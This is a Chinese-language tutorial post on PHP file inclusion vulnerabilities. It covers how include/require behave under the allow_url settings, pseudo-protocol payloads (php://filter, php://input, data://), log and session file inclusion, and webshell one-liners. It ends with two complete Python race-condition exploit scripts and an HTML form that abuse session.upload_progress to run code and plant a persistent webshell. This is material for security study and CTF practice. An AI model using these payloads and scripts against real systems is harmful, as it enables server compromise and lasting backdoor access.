文件包含

基本概念

程序的开发人员为了方便代码的引用,减少代码的重写率,因此开发出文件包含的函数,能够直接通过文件包含函数解析另一个文件的代码,进而增加了开发的效率。

漏洞形成的原因

在包含文件时,由于没有正确的判断和验证来源文件的可靠性,从而导致了用户可以随意的进行文件包含,进而可能导致文件泄露或者恶意代码的注入。

相关函数

1
2
3
4
1.include()   //包含时遇到报错仅仅发出警告然后继续执行
2.include_once() //同include一样,只是包含过的文件就不会再包含了
3.require() //包含时遇到报错就会停止
4.require_once() //同require一样,只是包含过的文件就不会再包含了

includerequirek0rz3n师傅做了个很形象的比喻

在php这个工厂里,include() 是一个比较松散的员工,平时没有活干的时候他就闲着,
从来不想着自己看有什么活主动一点,于是只有当程序运行到 include() 的时候他才会执行,
并且呢也因为他松散的天性,在出错的时候他也只是报一个警告,并不会让程序中断

但是,有另一名员工 require() 他能力和include() 差不多,但是他这个人就非常的有上进心,
工作认真负责,他一看到程序运行就立刻包含,不会像include() 一样等别人催,
并且 require() 还会在出错的时候非常认真地报错,并小心谨慎地阻止程序继续运行   

文件包含的类型

1.本地文件包含(LFI)Local file include
本地文件包含漏洞,顾名思义,指的是能打开并包含本地文件的漏洞。
大部分情况下遇到的文件包含漏洞都是LFI

2.远程文件包含(RFI)Remote file include
是指能够包含远程服务器上的文件并执行。由于远程服务器的文件是我们可控的,
因此漏洞一旦存在危害性会很大。
但RFI的利用条件较为苛刻,需要php.ini中进行配置  

造成的参数

1
2
1.allow_file_fopen()
2.allow_file_include()

本地测试(借用k0rz3n师傅的测试)

include()

1
2
$file = $_GET['file'];
include($file);

1.allow_url_fopen = Off | allow_url_include = Off

(1)普通方式包含本地文件(正常)
(2)普通方式包含远程文件(不正常)
(3)伪协议方式包含文件(不正常)

2.allow_url_fopen = Off | allow_url_include = On

(1)普通方式包含本地文件(正常)
(2)普通方式包含远程文件(不正常)
(3)伪协议方式包含文件(正常)

3.allow_url_fopen = On | allow_url_include = Off

(1)普通方式包含本地文件(正常)
(2)普通方式包含远程文件(不正常)
(3)伪协议方式包含文件(不正常)

4.allow_url_fopen = On | allow_url_include = On

(1)普通方式包含本地文件(正常)
(2)普通方式包含远程文件(正常)
(3)伪协议方式包含文件(正常)

结论

<b>对于include()</b>
allow_url_include的开启对伪协议php://input 和 data://
起着决定性的作用,对其他的伪协议似乎没什么影响
allow_url_fopen单独开启没什么实质作用,
但是和allow_url_include结合就能实现远程包含

require()

1
2
$file = $_GET['filename'];
require($file);

结论
与include()一致


readfile()

1
2
$file = $_GET['filename'];
echo readfile($file);

1.allow_url_fopen = Off | allow_url_include = Off

(1)普通方式读取本地文件(正常–>源码中出现)
(2)普通方式读取远程文件(不正常–>报错)
(3)伪协议方式读取文件(不正常 –>源码不出现)

2.allow_url_fopen = Off | allow_url_include = On

(1)普通方式读取本地文件(正常–>源码出现)
(2)普通方式读取远程文件(不正常–>报错)
(3)伪协议方式读取文件(正常–>源码出现)

3.allow_url_fopen = On | allow_url_include = Off

(1)普通方式读取本地文件(正常–>源码出现)
(2)普通方式读取远程文件(正常–>源码出现)
(3)伪协议方式读取文件(正常–>源码出现)

4.allow_url_fopen = On | allow_url_include = On

(1)普通方式读取本地文件(正常–>源码出现)
(2)普通方式读取远程文件(正常–>源码出现)
(3)伪协议方式读取文件(正常–>源码出现)

结论
对于readfile()
allow_url_include 对其没有任何影响
allow_url_fopen 能让其读取远程文件


file_get_contents()

1
2
$file = $_GET['filename'];
echo file_get_contents($file);

1.allow_url_fopen = Off | allow_url_include = Off

(1)普通方式读取本地文件(正常–>源码出现)
(2)普通方式读取远程文件(不正常–>报错)
(3)伪协议方式读取文件(正常–>源码出现)

2.allow_url_fopen = Off | allow_url_include = On

(1)普通方式读取本地文件(正常–>源码出现)
(2)普通方式读取远程文件(不正常–>报错)
(3)伪协议方式读取文件(正常–>源码出现)

3.allow_url_fopen = On | allow_url_include = Off

(1)普通方式读取本地文件(正常–>源码出现)
(2)普通方式读取远程文件(正常–>源码出现)
(3)伪协议方式读取文件(正常–>源码出现)

4.allow_url_fopen = On | allow_url_include = On

(1)普通方式读取本地文件(正常–>源码出现)
(2)普通方式读取远程文件(正常–>源码出现)
(3)伪协议方式读取文件(正常–>源码出现)

结论
对于file_get_contents()
allow_url_include 对其没有任何影响
allow_url_fopen 能让其读取远程文件


伪协议

php://filter

php://filter
这是一个过滤器,包含了许多的过滤方法,如果不想执行被包含文件的代码,
就可以使用这个,通常运用base64或者rot13读取源码
条件://不需要两个allow_url的开启即可进行使用

例子:
?file=php://filter/read=convert.base64-encode/resource=flag.php
?file=php://filter/read=string.rot13/resource=flag.php
?file=php://filter/write=string.rot13|<?cuc riny($_cbfg[1])?>/resource=flag.php

php://input

php://input
是个可以访问请求的原始数据的只读流,可以读取到POST没有解析的原始数据,
将POST中的数据作为PHP代码执行
条件://allow_url_include = On
例子:
GET:?file=php://input
POST:cmd= <?php eval($_POST[1])?>//执行一句话木马,连接蚁剑

data://text/plain

data://text/plain
条件://allow_url_include=On | allow_url_fopen=On
例子:
?file=data://text/plain,<?php phpinfo()?>
?file=data://text/plain;base64,PD9waHAgcGhwaW5mbygpPz4=

本地文件包含(LFI)

一、本地文件读取

1
2
$file=$_GET['file'];
include($file);

二、日志包含

一般情况下,系统会对对外开放的服务进行日志记录,因此我们能够通过写入恶意代码到日志文件中,然后对日志文件经行包含从而执行恶意代码,达到我们的目的。
条件:
明确日志文件的位置路径

日志文件的位置的确定就要前期的信息收集,一方面确定默认的日志的位置,另一方面可以利用这个包含漏洞包含一些配置文件寻找日志的位置
在实战中可以利用字典进行fuzz,也可以找一些探针文件来发现泄露的路径

1.首先我们先写入一句正确的php代码到access.log中
2.利用文件包含日志文件,然后进行解析

通过bp抓包,然后写入一句话,响应为200即算写进日志里
通常是在User-Agent中写入一句话马,但是我这次是在URL里写的

然后再在本地找到日志文件

最后对找到的路径进行包含即可

本地还可以利用报错文件error.log,原理相同,就不再展示了

三、Session文件包含

1.PHP 会将会话中的数据设置到 $_SESSION变量中。
2.当 PHP 停止的时候,它会自动读取 $_SESSION 中的内容,并将其进行序列化,然后发送给会话保存管理器来进行保存。
3.对于文件会话保存管理器,会将会话数据保存到配置项 session.save_path 所指定的位置。


常见的php-session存放位置:
/var/lib/php/sess_PHPSESSID
/var/lib/php/sess_PHPSESSID
/tmp/sess_PHPSESSID
/tmp/sessions/sess_PHPSESSID

原理跟日志包含差不多
可以看看我以前写的这一篇
https://cqjkl55.github.io/2022/08/19/Session%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96/

四、利用session.upload_progress进行文件包含

  • session.upload_progress.enabled = on

  • session.upload_progress.cleanup = on

  • session.upload_progress.prefix = “upload_progress_”

  • session.upload_progress.name = “PHP_SESSION_UPLOAD_PROGRESS”

  • session.use_strict_mode=off

  • session.upload_progress.enable=on表示upload_progress功能开始
    也意味着当浏览器向服务器上传文件的时候,php会把这个文件的详细信息
    (上传时间,进度等,最重要的是有我们写的PHP的一句话马)存储在session中

  • session.upload_progress.clearup=on可以理解为文件上传结束后,php会立刻马上清空session文件中的内容

  • session.upload_progress.name,这个值是可控的

  • session.upload_progress.prefix+session.upload_progress.name将表示为session中的键名

  • session.use_strict_mode=off,默认值为off,我们可以对sessionid可控

问题1:如果代码中没有session_start(),那么该如何创建session文件了?

session.auto_start=On,PHP接受请求会自动初始化Session,不需要session_start(),但是默认情况下为off
但是session.use_strict_mode默认值为0,利用这个就可以自定义Session ID
比如在Cookie中设置PHPSESSION=AAA, PHP就会自动在服务器上创建一个文件(/tmp/sess_AAA)
并产生一个键值,这个键值有ini.get("session.upload_progress.prefix")+
由我们构造的session.upload_progress.name值组成,最后被写入sess_文件里。

问题2:默认配置session.upload_progress.cleanup = on导致文件上传后,session文件内容立即清空,如何进行rce呢?

这时候就要用到条件竞争了,可以写py的脚本多线程,也可以自己写个文件上传的HTML,
通过不停的BP发包,不停的访问/tmp/sess_AAA.

这里献上TGAO师傅的py脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
import io
import requests
import threading
sessid = 'TGAO'
data = {"cmd":"system('whoami');"}
def write(session):
while True:
f = io.BytesIO(b'a' * 1024 * 50)
resp = session.post( 'http://127.0.0.1:5555/test56.php', data={'PHP_SESSION_UPLOAD_PROGRESS': '<?php eval($_POST["cmd"]);?>'}, files={'file': ('tgao.txt',f)}, cookies={'PHPSESSID': sessid} )
def read(session):
while True:
resp = session.post('http://127.0.0.1:5555/test56.php?file=session/sess_'+sessid,data=data)
if 'tgao.txt' in resp.text:
print(resp.text)
event.clear()
else:
print("[+++++++++++++]retry")
if __name__=="__main__":
event=threading.Event()
with requests.session() as session:
for i in xrange(1,30):
threading.Thread(target=write,args=(session,)).start()

for i in xrange(1,30):
threading.Thread(target=read,args=(session,)).start()
event.set()

还有一个Lxxx师傅的脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
import requests
import io
import threading

url = "http://192.168.2.128/test.php"
sessid = "Lxxx"

def write(session):
filebytes = io.BytesIO(b'a' * 1024 * 50)
while True:
res = session.post(url,
data={
'PHP_SESSION_UPLOAD_PROGRESS': "<?php eval($_POST[1]);?>"
},
cookies={
'PHPSESSID': sessid
},
files={
'file': ('Lxxx.jpg', filebytes)
}
)

def read(session):
while True:
res = session.post(url+"?a=/tmp/sess_"+sessid,
data={
"1":"file_put_contents('/www/admin/localhost_80/wwwroot/1.php' , '<?php eval($_POST[2]);?>');"
},
cookies={
"PHPSESSID":sessid
}
)
res2 = session.get("http://192.168.2.128/1.php")
if res2.status_code == 200:
print("成功写入一句话!")
else:
print("Retry")
如果按着Lxxx师傅写的脚本,写入/tmp/sess_Lxxx中的内容如下  
upload_progress_<?php eval($_POST[1]);?>|a:5:{s:10:"start_time";i:1631343214;s:14:"content_length";i:276;s:15:"bytes_processed";i:276;s:4:"done";b:0;s:5:"files";a:1:{i:0;a:7:{s:10:"field_name";s:4:"file";s:4:"name";s:8:"Lxxx.jpg";s:8:"tmp_name";N;s:5:"error";i:0;s:4:"done";b:0;s:10:"start_time";i:1631343214;s:15:"bytes_processed";i:276;}}}

本地写的HTML文档例如下:

1
2
3
4
5
6
7
8
9
10
<!DOCTYPE html>
<html>
<body>
<form action="http://url/" method="POST" enctype="multipart/form-data">
<input type="hidden" name="PHP_SESSION_UPLOAD_PROGRESS" value="<?php eval($_POST[1])?>" />
<input type="file" name="file" />
<input type="submit" value="submit" />
</form>
</body>
</html>

参考

https://www.yuque.com/tianxiadamutou/so86eg/ya5sm8

https://www.k0rz3n.com/2018/11/20/%E4%B8%80%E7%AF%87%E6%96%87%E7%AB%A0%E5%B8%A6%E4%BD%A0%E7%90%86%E8%A7%A3%E6%BC%8F%E6%B4%9E%E4%B9%8B%20PHP%20%E6%96%87%E4%BB%B6%E5%8C%85%E5%90%AB%E6%BC%8F%E6%B4%9E/#6-php-%E4%BC%AA%E5%8D%8F%E8%AE%AE%E5%8C%85%E5%90%AB

https://www.freebuf.com/vuls/202819.html

https://www.freebuf.com/articles/web/288430.html